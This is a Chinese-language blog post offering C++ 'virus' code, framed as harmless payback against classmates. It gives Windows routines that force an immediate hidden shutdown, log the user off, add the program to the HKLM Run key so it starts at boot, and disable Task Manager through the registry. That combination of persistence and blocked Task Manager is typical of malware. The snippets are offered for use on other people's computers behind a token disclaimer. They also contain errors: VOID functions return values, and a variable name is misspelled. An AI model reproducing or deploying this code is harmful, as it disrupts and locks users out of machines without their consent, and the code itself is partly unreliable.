大家可能都有过这样的经历:在电脑课上遇到别的同学秀自己的C++病毒程序,动不动就黑一下别人的电脑,让人气愤。
今天来分享一下对计算机没有实质伤害的电脑病毒,让你们出一口恶气。
禁止用于非法用途,违规者造成的损失与作者无关。
一圈三联,求个关注!
用C++做病毒时,大多数病毒都要加上一个头文件:
#include<windows.h>
记不住请收藏。
第一个,关机病毒:
这个我有在一篇博客上发布过,详情戳这:https://blog.csdn.net/2301_76254711/article/details/130169821
废话不多,直接上代码!
VOID ShutdownNow(VOID)
{
WinExec("shutdown -p",SW_HIDE);
//-p是瞬间 关机 的意思,不是瞬间的意思
return 0;
}
记得敲框架
第二:注销
VOID Logoff(VOID)
{
WinExec("logoff.exe",SW_HIDE);
//或shutdown -l -t 0
return 0;
}
第三:开机自启
WINBOOL SettleBoot(LPCSTR keyname, //键值名,随便你
LPCSTR fullName=_pgmptr, //默认值就是自己
LPCSTR param=NULL)
{
HKEY hKey;
char str[280];
//找到系统的启动项
LPCSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
//打开启动项
long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_WRITE, &hKey);
if(lRet == ERROR_SUCCESS)
{
if(param != NULL) //如果要用参数
{
sprintf(str,"\"%s\" %s",fullname,param);
}
//添加一个子键,并设置值
lRet = RegSetValueEx(hKey, keyname, 0, REG_SZ, (BYTE *)(param == NULL ? fullName : str), strlen(param == NULL ? fullName : str));
//关之
RegCloseKey(hKey);
if(lRet != ERROR_SUCCESS)
{
return false;
}
return true;
}else{
return false;
}
}
第四:禁用任务管理器
VOID RegDisableTaskmgr(DWORD dwDisable=TRUE)
{
HKEY hkey;
DWORD v = dwDisable;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&v, sizeof(DWORD));
RegCloseKey(hkey);
}
拜拜